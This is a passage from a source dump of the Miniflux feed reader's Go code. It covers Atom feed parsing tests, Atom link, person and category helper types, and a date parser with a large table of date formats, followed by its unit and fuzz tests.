Feed</title>\n\t\t<updated>2005-07-28T12:00:00Z</updated>\n\t\t<link href=\"http://www.example.org/myfeed\" />\n\t\t<author><name>James</name></author>\n\t\t<entry>\n\t\t\t<id>tag:entries.com,2005:1</id>\n\t\t\t<title>My original entry</title>\n\t\t\t<updated>2006-03-01T12:12:12Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<link rel=\"replies\"\n\t\t\t\ttype=\"text/html\"\n\t\t\t\thref=\"invalid url\"\n\t\t\t\tthr:count=\"10\" thr:updated=\"2005-07-28T12:10:00Z\" />\n\t\t\t<summary>This is my original entry</summary>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"http://www.example.org/entries/1\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"\" {\n\t\tt.Errorf(\"Incorrect entry comments URL, got: %s\", feed.Entries[0].CommentsURL)\n\t}\n}\n\nfunc TestParseItemWithCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <entry>\n\t  \t<link href=\"http://www.example.org/entries/1\" />\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t\t<category term='ZZZZ' />\n\t\t<category term='ZZZZ' />\n\t\t<category term=\" \" />\n\t\t<category term='Technology' label='Science' />\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 2 {\n\t\tt.Fatalf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"Science\", \"ZZZZ\"}\n\tresult := feed.Entries[0].Tags\n\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect entry tag, got %q instead of %q\", tag, expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseFeedWithCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <category term='C term' label='C label' />\n\t  <category term='B term' label='B label' />\n\t  <category term='B term' label='B label' />\n\t  <category term='A term' label='A label' />\n\t  <entry>\n\t  \t<link href=\"http://www.example.org/entries/1\" />\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries[0].Tags) != 3 {\n\t\tt.Fatalf(\"Incorrect number of tags, got: %d\", len(feed.Entries[0].Tags))\n\t}\n\n\texpected := []string{\"A label\", \"B label\", \"C label\"}\n\tresult := feed.Entries[0].Tags\n\tfor i, tag := range result {\n\t\tif tag != expected[i] {\n\t\t\tt.Errorf(\"Incorrect entry tag, got %q instead of %q\", tag, expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseFeedWithIconURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t<title>Example Feed</title>\n\t\t<link href=\"http://example.org/\"/>\n\t\t<icon>http://example.org/icon.png</icon>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.IconURL != \"http://example.org/icon.png\" {\n\t\tt.Errorf(\"Incorrect icon URL, got: %s\", feed.IconURL)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_common.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"strings\"\n)\n\n// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-3.2\ntype AtomPerson struct {\n\t// The \"atom:name\" element's content conveys a human-readable name for the author.\n\t// It MAY be the name of a corporation or other entity no individual authors can be named.\n\t// Person constructs MUST contain exactly one \"atom:name\" element, whose content MUST be a string.\n\tName string `xml:\"name\"`\n\n\t// The \"atom:email\" element's content conveys an e-mail address associated with the Person construct.\n\t// Person constructs MAY contain an atom:email element, but MUST NOT contain more than one.\n\t// Its content MUST be an e-mail address [RFC2822].\n\t// Ordering of the element children of Person constructs MUST NOT be considered significant.\n\tEmail string `xml:\"email\"`\n}\n\nfunc (a *AtomPerson) PersonName() string {\n\tname := strings.TrimSpace(a.Name)\n\tif name != \"\" {\n\t\treturn name\n\t}\n\n\treturn strings.TrimSpace(a.Email)\n}\n\ntype atomPersons []*AtomPerson\n\nfunc (a atomPersons) personNames() []string {\n\tvar names []string\n\tauthorNamesMap := make(map[string]bool)\n\n\tfor _, person := range a {\n\t\tpersonName := person.PersonName()\n\t\tif _, ok := authorNamesMap[personName]; !ok {\n\t\t\tnames = append(names, personName)\n\t\t\tauthorNamesMap[personName] = true\n\t\t}\n\t}\n\n\treturn names\n}\n\n// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.7\ntype AtomLink struct {\n\tHref   string `xml:\"href,attr\"`\n\tType   string `xml:\"type,attr\"`\n\tRel    string `xml:\"rel,attr\"`\n\tLength string `xml:\"length,attr\"`\n\tTitle  string `xml:\"title,attr\"`\n}\n\ntype atomLinks []*AtomLink\n\nfunc (a atomLinks) originalLink() string {\n\tfor _, link := range a {\n\t\tif strings.EqualFold(link.Rel, \"alternate\") {\n\t\t\treturn strings.TrimSpace(link.Href)\n\t\t}\n\n\t\tif link.Rel == \"\" && (link.Type == \"\" || link.Type == \"text/html\") {\n\t\t\treturn strings.TrimSpace(link.Href)\n\t\t}\n\t}\n\n\treturn \"\"\n}\n\nfunc (a atomLinks) firstLinkWithRelation(relation string) string {\n\tfor _, link := range a {\n\t\tif strings.EqualFold(link.Rel, relation) {\n\t\t\treturn strings.TrimSpace(link.Href)\n\t\t}\n\t}\n\n\treturn \"\"\n}\n\nfunc (a atomLinks) firstLinkWithRelationAndType(relation string, contentTypes ...string) string {\n\tfor _, link := range a {\n\t\tif strings.EqualFold(link.Rel, relation) {\n\t\t\tfor _, contentType := range contentTypes {\n\t\t\t\tif strings.EqualFold(link.Type, contentType) {\n\t\t\t\t\treturn strings.TrimSpace(link.Href)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\"\n}\n\nfunc (a atomLinks) findAllLinksWithRelation(relation string) []*AtomLink {\n\tvar links []*AtomLink\n\n\tfor _, link := range a {\n\t\tif strings.EqualFold(link.Rel, relation) {\n\t\t\tlink.Href = strings.TrimSpace(link.Href)\n\t\t\tif link.Href != \"\" {\n\t\t\t\tlinks = append(links, link)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn links\n}\n\n// The \"atom:category\" element conveys information about a category\n// associated with an entry or feed.  This specification assigns no\n// meaning to the content (if any) of this element.\n//\n// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.2\ntype atomCategory struct {\n\t// The \"term\" attribute is a string that identifies the category to\n\t// which the entry or feed belongs. Category elements MUST have a\n\t// \"term\" attribute.\n\tTerm string `xml:\"term,attr\"`\n\n\t// The \"scheme\" attribute is an IRI that identifies a categorization\n\t// scheme. Category elements MAY have a \"scheme\" attribute.\n\tScheme string `xml:\"scheme,attr\"`\n\n\t// The \"label\" attribute provides a human-readable label for display in\n\t// end-user applications. The content of the \"label\" attribute is\n\t// Language-Sensitive. Entities such as \"&amp;\" and \"&lt;\" represent\n\t// their corresponding characters (\"&\" and \"<\", respectively), not\n\t// markup. Category elements MAY have a \"label\" attribute.\n\tLabel string `xml:\"label,attr\"`\n}\n\ntype atomCategories []atomCategory\n\nfunc (ac atomCategories) CategoryNames() []string {\n\tvar categories []string\n\n\tfor _, category := range ac {\n\t\tlabel := strings.TrimSpace(category.Label)\n\t\tif label != \"\" {\n\t\t\tcategories = append(categories, label)\n\t\t} else {\n\t\t\tterm := strings.TrimSpace(category.Term)\n\t\t\tif term != \"\" {\n\t\t\t\tcategories = append(categories, term)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn categories\n}\n"
  },
  {
    "path": "internal/reader/atom/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/model\"\n\txml_decoder \"miniflux.app/v2/internal/reader/xml\"\n)\n\n// Parse returns a normalized feed struct from a Atom feed.\nfunc Parse(baseURL string, r io.ReadSeeker, version string) (*model.Feed, error) {\n\tswitch version {\n\tcase \"0.3\":\n\t\tatomFeed := new(atom03Feed)\n\t\tif err := xml_decoder.NewXMLDecoder(r).Decode(atomFeed); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"atom: unable to parse Atom 0.3 feed: %w\", err)\n\t\t}\n\t\tadapter := &atom03Adapter{atomFeed}\n\t\treturn adapter.buildFeed(baseURL), nil\n\tdefault:\n\t\tatomFeed := new(atom10Feed)\n\t\tif err := xml_decoder.NewXMLDecoder(r).Decode(atomFeed); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"atom: unable to parse Atom 1.0 feed: %w\", err)\n\t\t}\n\t\tadapter := &atom10Adapter{atomFeed}\n\t\treturn adapter.BuildFeed(baseURL), nil\n\t}\n}\n"
  },
  {
    "path": "internal/reader/date/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage date // import \"miniflux.app/v2/internal/reader/date\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\n// RFC822, RFC850, and RFC1123 formats should be applied only to local times.\nvar dateFormatsLocalTimesOnly = [...]string{\n\ttime.RFC822, // RSS\n\ttime.RFC850,\n\ttime.RFC1123,\n}\n\n// dateFormats taken from github.com/mjibson/goread\nvar dateFormats = [...]string{\n\ttime.RFC822Z, // RSS\n\ttime.RFC3339, // Atom\n\ttime.UnixDate,\n\ttime.RubyDate,\n\ttime.RFC1123Z,\n\ttime.ANSIC,\n\t\"Mon, 02 Jan 2006 15:04:05 MST -07:00\",\n\t\"Mon, January 2, 2006, 3:04 PM MST\",\n\t\"Mon, January 2 2006 15:04:05 -0700\",\n\t\"Mon, January 02, 2006, 15:04:05 MST\",\n\t\"Mon, January 02, 2006 15:04:05 MST\",\n\t\"Mon, Jan 2, 2006 15:04 MST\",\n\t\"Mon, Jan 2 2006 15:04 MST\",\n\t\"Mon, Jan 2 2006 15:04:05 MST\",\n\t\"Mon, Jan 2, 2006 15:04:05 MST\",\n\t\"Mon, Jan 2 2006 15:04:05 -700\",\n\t\"Mon, Jan 2 2006 15:04:05 -0700\",\n\t\"Mon Jan 2 15:04 2006\",\n\t\"Mon Jan 2 15:04:05 2006 MST\",\n\t\"Mon Jan 02, 2006 3:04 pm\",\n\t\"Mon, Jan 02,2006 15:04:05 MST\",\n\t\"Mon Jan 02 2006 15:04:05 -0700\",\n\t\"Mon, 02/01/2006\",\n\t\"Monday, 2. January 2006 - 15:04\",\n\t\"Monday 02 January 2006\",\n\t\"Monday, January 2, 2006 15:04:05 MST\",\n\t\"Monday, January 2, 2006 03:04 PM\",\n\t\"Monday, January 2, 2006\",\n\t\"Monday, January 02, 2006\",\n\t\"Monday, 2 January 2006 15:04:05 MST\",\n\t\"Monday, 2 January 2006 15:04:05 -0700\",\n\t\"Monday, 2 Jan 2006 15:04:05 MST\",\n\t\"Monday, 2 Jan 2006 15:04:05 -0700\",\n\t\"Monday, 02 January 2006 15:04:05 MST\",\n\t\"Monday, 02 January 2006 15:04:05 -0700\",\n\t\"Monday, 02 January 2006 15:04:05\",\n\t\"Monday, January 02, 2006 - 3:04pm\",\n\t\"Monday, January 2, 2006 - 3:04pm\",\n\t\"Mon, 01/02/2006 - 15:04\",\n\t\"Mon, 2 January 2006 15:04 MST\",\n\t\"Mon, 2 January 2006, 15:04 -0700\",\n\t\"Mon, 2 January 2006, 15:04:05 MST\",\n\t\"Mon, 2 January 2006 15:04:05 MST\",\n\t\"Mon, 2 January 2006 15:04:05 -0700\",\n\t\"Mon, 2 January 2006\",\n\t\"Mon, 2 Jan 2006 3:04:05 PM -0700\",\n\t\"Mon, 2 Jan 2006 15:4:5 MST\",\n\t\"Mon, 2 Jan 2006 15:4:5 -0700 GMT\",\n\t\"Mon, 2, Jan 2006 15:4\",\n\t\"Mon, 2 Jan 2006 15:04 MST\",\n\t\"Mon, 2 Jan 2006, 15:04 -0700\",\n\t\"Mon, 2 Jan 2006 15:04 -0700\",\n\t\"Mon, 2 Jan 2006 15:04:05 UT\",\n\t\"Mon, 2 Jan 2006 15:04:05MST\",\n\t\"Mon, 2 Jan 2006 15:04:05 MST\",\n\t\"Mon 2 Jan 2006 15:04:05 MST\",\n\t\"mon,2 Jan 2006 15:04:05 MST\",\n\t\"Mon, 2 Jan 2006 15:04:05 -0700 MST\",\n\t\"Mon, 2 Jan 2006 15:04:05-0700\",\n\t\"Mon, 2 Jan 2006 15:04:05 -0700\",\n\t\"Mon, 2 Jan 2006 15:04:05\",\n\t\"Mon, 2 Jan 2006 15:04\",\n\t\"Mon, 02 Jan 2006, 15:04\",\n\t\"Mon, 2 Jan 2006, 15:04\",\n\t\"Mon,2 Jan 2006\",\n\t\"Mon, 2 Jan 2006\",\n\t\"Mon, 2 Jan 15:04:05 MST\",\n\t\"Mon, 2 Jan 06 15:04:05 MST\",\n\t\"Mon, 2 Jan 06 15:04:05 -0700\",\n\t\"Mon, 2006-01-02 15:04\",\n\t\"Mon,02 January 2006 14:04:05 MST\",\n\t\"Mon, 02 January 2006\",\n\t\"Mon, 02 Jan 2006 3:04:05 PM MST\",\n\t\"Mon, 02 Jan 2006 15 -0700\",\n\t\"Mon,02 Jan 2006 15:04 MST\",\n\t\"Mon, 02 Jan 2006 15:04 MST\",\n\t\"Mon, 02 Jan 2006 15:04 -0700\",\n\t\"Mon, 02 Jan 2006 15:04:05 Z\",\n\t\"Mon, 02 Jan 2006 15:04:05 UT\",\n\t\"Mon, 02 Jan 2006 15:04:05 MST-07:00\",\n\t\"Mon, 02 Jan 2006 15:04:05 MST -0700\",\n\t\"Mon, 02 Jan 2006, 15:04:05 MST\",\n\t\"Mon, 02 Jan 2006 15:04:05MST\",\n\t\"Mon, 02 Jan 2006 15:04:05 MST\",\n\t\"Mon , 02 Jan 2006 15:04:05 MST\",\n\t\"Mon, 02 Jan 2006 15:04:05 GMT-0700\",\n\t\"Mon,02 Jan 2006 15:04:05 -0700\",\n\t\"Mon, 02 Jan 2006 15:04:05 -0700\",\n\t\"Mon, 02 Jan 2006 15:04:05 -07:00\",\n\t\"Mon, 02 Jan 2006 15:04:05 --0700\",\n\t\"Mon 02 Jan 2006 15:04:05 -0700\",\n\t\"Mon 02 Jan 2006, 15:04:05 MST\",\n\t\"Mon, 02 Jan 2006 15:04:05 MST\",\n\t\"Mon, 02 Jan 2006 15:04:05 -07\",\n\t\"Mon, 02 Jan 2006 15:04:05 00\",\n\t\"Mon, 02 Jan 2006 15:04:05\",\n\t\"Mon, 02 Jan 2006\",\n\t\"Mon, 02 Jan 06 15:04:05 MST\",\n\t\"Mon, 02 Jan 2006 3:04 PM MST\",\n\t\"Mon Jan 02 2006 15:04:05 MST\",\n\t\"Mon, 01 02 2006 15:04:05 -0700\",\n\t\"Mon, 2th Jan 2006 15:05:05 MST\",\n\t\"Jan. 2, 2006, 3:04 a.m.\",\n\t\"fri, 02 jan 2006 15:04:05 -0700\",\n\t\"January 02 2006 03:04:05 PM\",\n\t\"January 2, 2006 3:04 PM\",\n\t\"January 2, 2006, 3:04 p.m.\",\n\t\"January 2, 2006 15:04:05 MST\",\n\t\"January 2, 2006 15:04:05\",\n\t\"January 2, 2006 03:04 PM\",\n\t\"January 2, 2006\",\n\t\"January 02, 2006 15:04:05 MST\",\n\t\"January 02, 2006 15:04\",\n\t\"January 02, 2006 03:04 PM\",\n\t\"January 02, 2006\",\n\t\"Jan 2, 2006 3:04:05 PM MST\",\n\t\"Jan 2, 2006 3:04:05 PM\",\n\t\"Jan 2, 2006 15:04:05 MST\",\n\t\"Jan 2, 2006\",\n\t\"Jan 02 2006 03:04:05PM\",\n\t\"Jan 02, 2006\",\n\t\"6/1/2 15:04\",\n\t\"6-1-2 15:04\",\n\t\"2 January 2006 15:04:05 MST\",\n\t\"2 January 2006 15:04:05 -0700\",\n\t\"2 January 2006\",\n\t\"2 Jan 2006 15:04:05 Z\",\n\t\"2 Jan 2006 15:04:05 MST\",\n\t\"2 Jan 2006 15:04:05 -0700\",\n\t\"2 Jan 2006\",\n\t\"2 Jan 2006 15:04 MST\",\n\t\"2.1.2006 15:04:05\",\n\t\"2/1/2006\",\n\t\"2-1-2006\",\n\t\"2006 January 02\",\n\t\"2006-1-2T15:04:05Z\",\n\t\"2006-1-2 15:04:05\",\n\t\"2006-1-2\",\n\t\"2006-01-02T15:04:05-07:00Z\",\n\t\"2006-1-02T15:04:05Z\",\n\t\"2006-01-02T15:04Z\",\n\t\"2006-01-02T15:04-07:00\",\n\t\"2006-01-02T15:04:05Z\",\n\t\"2006-01-02T15:04:05-07:00:00\",\n\t\"2006-01-02T15:04:05:-0700\",\n\t\"2006-01-02T15:04:05-0700\",\n\t\"2006-01-02T15:04:05-07:00\",\n\t\"2006-01-02T15:04:05 -0700\",\n\t\"2006-01-02T15:04:05:00\",\n\t\"2006-01-02T15:04:05\",\n\t\"2006-01-02T15:04\",\n\t\"2006-01-02 at 15:04:05\",\n\t\"2006-01-02 15:04:05Z\",\n\t\"2006-01-02 15:04:05 MST\",\n\t\"2006-01-02 15:04:05-0700\",\n\t\"2006-01-02 15:04:05-07:00\",\n\t\"2006-01-02 15:04:05 -0700\",\n\t\"2006-01-02 15:04\",\n\t\"2006-01-02 00:00:00.0 15:04:05.0 -0700\",\n\t\"2006/01/02\",\n\t\"2006-01-02\",\n\t\"15:04 02.01.2006 -0700\",\n\t\"1/2/2006 3:04 PM MST\",\n\t\"1/2/2006 3:04:05 PM MST\",\n\t\"1/2/2006 3:04:05 PM\",\n\t\"1/2/2006 15:04:05 MST\",\n\t\"1/2/2006\",\n\t\"06/1/2 15:04\",\n\t\"06-1-2 15:04\",\n\t\"02 Monday, Jan 2006 15:04\",\n\t\"02 Jan 2006 15:04 MST\",\n\t\"02 Jan 2006 15:04:05 UT\",\n\t\"02 Jan 2006 15:04:05 MST\",\n\t\"02 Jan 2006 15:04:05 -0700\",\n\t\"02 Jan 2006 15:04:05\",\n\t\"02 Jan 2006\",\n\t\"02/01/2006 15:04 MST\",\n\t\"02-01-2006 15:04:05 MST\",\n\t\"02.01.2006 15:04:05\",\n\t\"02/01/2006 15:04:05\",\n\t\"02.01.2006 15:04\",\n\t\"02/01/2006 - 15:04\",\n\t\"02.01.2006 -0700\",\n\t\"02/01/2006\",\n\t\"02-01-2006\",\n\t\"01/02/2006 3:04 PM\",\n\t\"01/02/2006 15:04:05 MST\",\n\t\"01/02/2006 - 15:04\",\n\t\"01/02/2006\",\n\t\"01-02-2006\",\n\t\"Jan. 2006\",\n\t\"Jan. 2, 2006, 03:04 p.m.\",\n\t\"2006-01-02 15:04:05 -07:00\",\n\t\"2 January, 2006\",\n\t\"2 Jan 2006 MST\",\n\t\"Mon, January 2, 2006 at 03:04 PM MST\",\n\t\"Jan 2, 2006 15:04 MST\",\n\t\"01/02/2006 3:04 pm MST\",\n\t\"Mon, 2th Jan 2006 15:04:05 MST\",\n\t\"Mon, 2rd Jan 2006 15:04:05 MST\",\n\t\"Mon, 2nd Jan 2006 15:04:05 MST\",\n\t\"Mon, 2st Jan 2006 15:04:05 MST\",\n\t\"Mon, Jan 02 2006 03:04:05 PM\",\n\t\"Monday, January 2, 2006 - 15:04\",\n\t\"01/02/06 15:04:05\",\n\t\"02.01.06\",\n}\n\nvar replacer = strings.NewReplacer(\n\t// Timezones\n\t\"Europe/Brussels\", \"CET\",\n\t\"America/Los_Angeles\", \"PDT\",\n\t\"GMT+0000 (Coordinated Universal Time)\", \"GMT\",\n\t\"GMT-\", \"GMT -\",\n\n\t// Localized dates\n\t\"Mo,\", \"Mon,\",\n\t\"Di,\", \"Tue,\",\n\t\"Mi,\", \"Wed,\",\n\t\"Do,\", \"Thu,\",\n\t\"Fr,\", \"Fri,\",\n\t\"Sa,\", \"Sat,\",\n\t\"So,\", \"Sun,\",\n\t\"Mär \", \"Mar \",\n\t\"Mai \", \"May \",\n\t\"Okt \", \"Oct \",\n\t\"Dez \", \"Dec \",\n\t\"lun,\", \"Mon,\",\n\t\"mar,\", \"Tue,\",\n\t\"mer,\", \"Wed,\",\n\t\"jeu,\", \"Thu,\",\n\t\"ven,\", \"Fri,\",\n\t\"sam,\", \"Sat,\",\n\t\"dim,\", \"Sun,\",\n\t\"lun.\", \"Mon\",\n\t\"mar.\", \"Tue\",\n\t\"mer.\", \"Wed\",\n\t\"jeu.\", \"Thu\",\n\t\"ven.\", \"Fri\",\n\t\"sam.\", \"Sat\",\n\t\"dim.\", \"Sun\",\n\t\"Lundi,\", \"Monday,\",\n\t\"Mardi,\", \"Tuesday,\",\n\t\"Mercredi,\", \"Wednesday,\",\n\t\"Jeudi,\", \"Thursday,\",\n\t\"Vendredi,\", \"Friday,\",\n\t\"Samedi,\", \"Saturday,\",\n\t\"Dimanche,\", \"Sunday,\",\n\t\"jan.\", \"January \",\n\t\"feb.\", \"February \",\n\t\"mars.\", \"March \",\n\t\"avril.\", \"April \",\n\t\"mai.\", \"May \",\n\t\"juin.\", \"June \",\n\t\"juil.\", \"July\",\n\t\"août.\", \"August\",\n\t\"sept.\", \"September\",\n\t\"oct.\", \"October\",\n\t\"nov.\", \"November\",\n\t\"dec.\", \"December\",\n\t\"déc.\", \"December\",\n\t\"janvier \", \"January \",\n\t\"février \", \"February \",\n\t\"mars \", \"March \",\n\t\"avril \", \"April \",\n\t\"mai \", \"May \",\n\t\"juin \", \"June \",\n\t\"juillet \", \"July\",\n\t\"août \", \"August\",\n\t\"septembre \", \"September\",\n\t\"octobre \", \"October\",\n\t\"november \", \"November\",\n\t\"décembre \", \"December\",\n\t\"Janvier\", \"January\",\n\t\"Février\", \"February\",\n\t\"Mars\", \"March\",\n\t\"Avril\", \"April\",\n\t\"Mai\", \"May\",\n\t\"Juin\", \"June\",\n\t\"Juillet\", \"July\",\n\t\"Août\", \"August\",\n\t\"Septembre\", \"September\",\n\t\"Octobre\", \"October\",\n\t\"Novembre\", \"November\",\n\t\"Décembre\", \"December\",\n\t\"avr \", \"Apr \",\n\t\"mai \", \"May \",\n\t\"jui \", \"Jun \",\n\t\"juin \", \"June \",\n\t\"Thurs,\", \"Thu,\",\n\t\"Thur,\", \"Thu,\",\n)\n\n// Parse parses a given date string using a large\n// list of commonly found feed date formats.\nfunc Parse(rawInput string) (t time.Time, err error) {\n\trawInput = strings.TrimSpace(rawInput)\n\tif rawInput == \"\" {\n\t\treturn t, errors.New(`date parser: empty value`)\n\t}\n\n\tif timestamp, err := strconv.ParseInt(rawInput, 10, 64); err == nil {\n\t\treturn time.Unix(timestamp, 0), nil\n\t}\n\n\tprocessedInput := replacer.Replace(rawInput)\n\n\tfor _, layout := range dateFormatsLocalTimesOnly {\n\t\tif t, err = parseLocalTimeDates(layout, processedInput); err == nil {\n\t\t\treturn checkTimezoneRange(t), nil\n\t\t}\n\t}\n\n\tfor _, layout := range dateFormats {\n\t\tif t, err = time.Parse(layout, processedInput); err == nil {\n\t\t\treturn checkTimezoneRange(t), nil\n\t\t}\n\t}\n\n\treturn t, fmt.Errorf(`date parser: failed to parse date \"%s\"`, rawInput)\n}\n\n// According to Golang documentation:\n//\n// RFC822, RFC850, and RFC1123 formats should be applied only to local times.\n// Applying them to UTC times will use \"UTC\" as the time zone abbreviation,\n// while strictly speaking those RFCs require the use of \"GMT\" in that case.\nfunc parseLocalTimeDates(layout, ds string) (t time.Time, err error) {\n\tloc := time.UTC\n\n\t// Workaround for dates that don't use GMT.\n\tif strings.HasSuffix(ds, \"PST\") || strings.HasSuffix(ds, \"PDT\") {\n\t\tloc, _ = time.LoadLocation(\"America/Los_Angeles\")\n\t} else if strings.HasSuffix(ds, \"EST\") || strings.HasSuffix(ds, \"EDT\") {\n\t\tloc, _ = time.LoadLocation(\"America/New_York\")\n\t}\n\n\treturn time.ParseInLocation(layout, ds, loc)\n}\n\n// https://en.wikipedia.org/wiki/List_of_UTC_offsets\n// Offset range: westernmost (−12:00) to the easternmost (+14:00)\n// Avoid \"pq: time zone displacement out of range\" errors\nfunc checkTimezoneRange(t time.Time) time.Time {\n\t_, offset := t.Zone()\n\tif offset > 14*60*60 || offset < -12*60*60 {\n\t\tt = t.UTC()\n\t}\n\treturn t\n}\n"
  },
  {
    "path": "internal/reader/date/parser_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage date // import \"miniflux.app/v2/internal/reader/date\"\n\nimport (\n\t\"testing\"\n)\n\nfunc FuzzParse(f *testing.F) {\n\tf.Add(\"2017-12-22T22:09:49+00:00\")\n\tf.Add(\"Fri, 31 Mar 2023 20:19:00 America/Los_Angeles\")\n\tf.Fuzz(func(t *testing.T, date string) {\n\t\tParse(date)\n\t})\n}\n\nfunc TestParseEmptyDate(t *testing.T) {\n\tif _, err := Parse(\"  \"); err == nil {\n\t\tt.Fatalf(`Empty dates should return an error`)\n\t}\n}\n\nfunc TestParseInvalidDate(t *testing.T) {\n\tif _, err := Parse(\"invalid\"); err == nil {\n\t\tt.Fatalf(`Invalid dates should return an error`)\n\t}\n}\n\nfunc TestParseAtomDate(t *testing.T) {\n\tdate, err := Parse(\"2017-12-22T22:09:49+00:00\")\n\tif err != nil {\n\t\tt.Fatalf(`Atom dates should be parsed correctly`)\n\t}\n\n\texpectedTS := int64(1513980589)\n\tif date.Unix() != expectedTS {\n\t\tt.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())\n\t}\n\n\t_, offset := date.Zone()\n\texpectedOffset := 0\n\tif offset != expectedOffset {\n\t\tt.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)\n\t}\n}\n\nfunc TestParseRSSDateTimezone(t *testing.T) {\n\tdate, err := Parse(\"Fri, 31 Mar 2023 20:19:00 America/Los_Angeles\")\n\tif err != nil {\n\t\tt.Fatalf(`RSS dates should be parsed correctly`)\n\t}\n\n\texpectedTS := int64(1680319140)\n\tif date.Unix() != expectedTS {\n\t\tt.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())\n\t}\n\n\texpectedLocation := \"America/Los_Angeles\"\n\tif date.Location().String() != expectedLocation {\n\t\tt.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())\n\t}\n\n\tname, offset := date.Zone()\n\n\texpectedName := \"PDT\"\n\tif name != expectedName {\n\t\tt.Errorf(`The zone name should be %q instead of %q`, expectedName, name)\n\t}\n\n\texpectedOffset := -25200\n\tif offset != expectedOffset {\n\t\tt.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)\n\t}\n}\n\nfunc TestParseRSSDateGMT(t *testing.T) {\n\tdate, err := Parse(\"Tue, 03 Jun 2003 09:39:21 GMT\")\n\tif err != nil {\n\t\tt.Fatalf(`RSS dates should be parsed correctly`)\n\t}\n\n\texpectedTS := int64(1054633161)\n\tif date.Unix() != expectedTS {\n\t\tt.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())\n\t}\n\n\texpectedLocation := \"GMT\"\n\tif date.Location().String() != expectedLocation {\n\t\tt.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())\n\t}\n\n\tname, offset := date.Zone()\n\n\texpectedName := \"GMT\"\n\tif name != expectedName {\n\t\tt.Errorf(`The zone name should be %q instead of %q`, expectedName, name)\n\t}\n\n\texpectedOffset := 0\n\tif offset != expectedOffset {\n\t\tt.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)\n\t}\n}\n\nfunc TestParseRSSDatePST(t *testing.T) {\n\tdate, err := Parse(\"Wed, 26 Dec 2018 10:00:54 PST\")\n\tif err != nil {\n\t\tt.Fatalf(`RSS dates with PST timezone should be parsed correctly: %v`, err)\n\t}\n\n\texpectedTS := int64(1545847254)\n\tif date.Unix() != expectedTS {\n\t\tt.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())\n\t}\n\n\texpectedLocation := \"America/Los_Angeles\"\n\tif date.Location().String() != expectedLocation {\n\t\tt.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())\n\t}\n\n\tname, offset := date.Zone()\n\n\texpectedName := \"PST\"\n\tif name != expectedName {\n\t\tt.Errorf(`The zone name should be %q instead of %q`, expectedName, 